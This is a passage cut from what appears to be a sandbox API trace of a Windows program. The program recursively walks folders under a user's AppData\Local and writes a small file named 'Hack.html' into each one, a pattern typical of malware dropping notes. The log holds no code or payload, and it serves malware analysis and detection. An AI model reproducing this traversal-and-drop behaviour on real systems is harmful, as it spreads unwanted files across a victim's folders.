(dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0071.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0071.932] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles", lpFilePart=0x0) returned 0x40 [0071.932] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\", lpFilePart=0x0) returned 0x41 [0071.932] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a6e8 [0071.933] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.934] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.934] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.934] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0071.934] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0071.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0071.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0071.934] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles", lpFilePart=0x0) returned 0x40 [0071.934] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\", lpFilePart=0x0) returned 0x41 [0071.934] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a6e8 [0071.934] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.934] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.934] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.934] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0071.934] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0071.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0071.935] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\Hack.html", lpFilePart=0x0) returned 0x4a [0071.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0071.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.935] GetFileType (hFile=0x174) returned 0x1 [0071.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0071.935] GetFileType (hFile=0x174) returned 0x1 [0071.935] WriteFile (in: hFile=0x174, lpBuffer=0x28b7d58*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x28b7d58*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0071.936] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Hack.html", lpFilePart=0x0) returned 0x41 [0071.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0071.937] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.938] GetFileType (hFile=0x174) returned 0x1 [0071.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0071.938] GetFileType (hFile=0x174) returned 0x1 [0071.938] WriteFile (in: hFile=0x174, lpBuffer=0x28ba560*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x28ba560*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0071.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Hack.html", lpFilePart=0x0) returned 0x3b [0071.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.939] GetFileType (hFile=0x174) returned 0x1 [0071.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.939] GetFileType (hFile=0x174) returned 0x1 [0071.939] WriteFile (in: hFile=0x174, lpBuffer=0x28bcd50*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x28bcd50*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0071.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.940] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x3c [0071.940] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\", lpFilePart=0x0) returned 0x3d [0071.940] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0xffffffff [0071.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed20) returned 1 [0071.942] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Hack.html", lpFilePart=0x0) returned 0x46 [0071.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.942] GetFileType (hFile=0x174) returned 0x1 [0071.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.942] GetFileType (hFile=0x174) returned 0x1 [0071.942] WriteFile (in: hFile=0x174, lpBuffer=0x28c02a8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x28c02a8*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0071.943] CloseHandle (hObject=0x174) returned 1 [0071.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.944] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps", lpFilePart=0x0) returned 0x30 [0071.944] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\", lpFilePart=0x0) returned 0x31 [0071.944] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a6e8 [0071.944] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.944] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.944] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.944] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.945] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps", lpFilePart=0x0) returned 0x30 [0071.945] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\", lpFilePart=0x0) returned 0x31 [0071.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a6e8 [0071.945] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.945] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.945] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.945] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0071.946] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0", lpFilePart=0x0) returned 0x34 [0071.946] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\", lpFilePart=0x0) returned 0x35 [0071.946] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a6e8 [0071.946] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.946] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.946] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.946] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0071.946] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0071.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0071.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0071.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0", lpFilePart=0x0) returned 0x34 [0071.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\", lpFilePart=0x0) returned 0x35 [0071.947] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a6e8 [0071.947] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.947] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.947] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.947] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0071.947] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0071.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0071.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0071.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data", lpFilePart=0x0) returned 0x39 [0071.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\", lpFilePart=0x0) returned 0x3a [0071.948] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a6e8 [0071.949] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.949] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.950] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0071.950] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0071.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0071.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0071.950] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data", lpFilePart=0x0) returned 0x39 [0071.950] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\", lpFilePart=0x0) returned 0x3a [0071.950] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a6e8 [0071.950] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.951] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.951] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0071.951] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0071.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0071.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0071.951] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7", lpFilePart=0x0) returned 0x46 [0071.951] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\", lpFilePart=0x0) returned 0x47 [0071.951] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a6e8 [0071.951] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0071.951] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0071.952] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0071.952] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0071.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0071.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0071.952] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7", lpFilePart=0x0) returned 0x46 [0071.952] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\", lpFilePart=0x0) returned 0x47 [0071.952] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a6e8 [0071.952] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0071.953] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0071.953] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0071.953] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0071.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0071.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0071.953] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ", lpFilePart=0x0) returned 0x53 [0071.953] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\", lpFilePart=0x0) returned 0x54 [0071.953] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a6e8 [0071.953] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0071.954] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0071.954] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0071.954] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0071.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0071.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0071.954] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ", lpFilePart=0x0) returned 0x53 [0071.954] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\", lpFilePart=0x0) returned 0x54 [0071.954] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a6e8 [0071.955] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0071.955] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0071.955] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0071.955] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0071.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0071.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0071.955] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 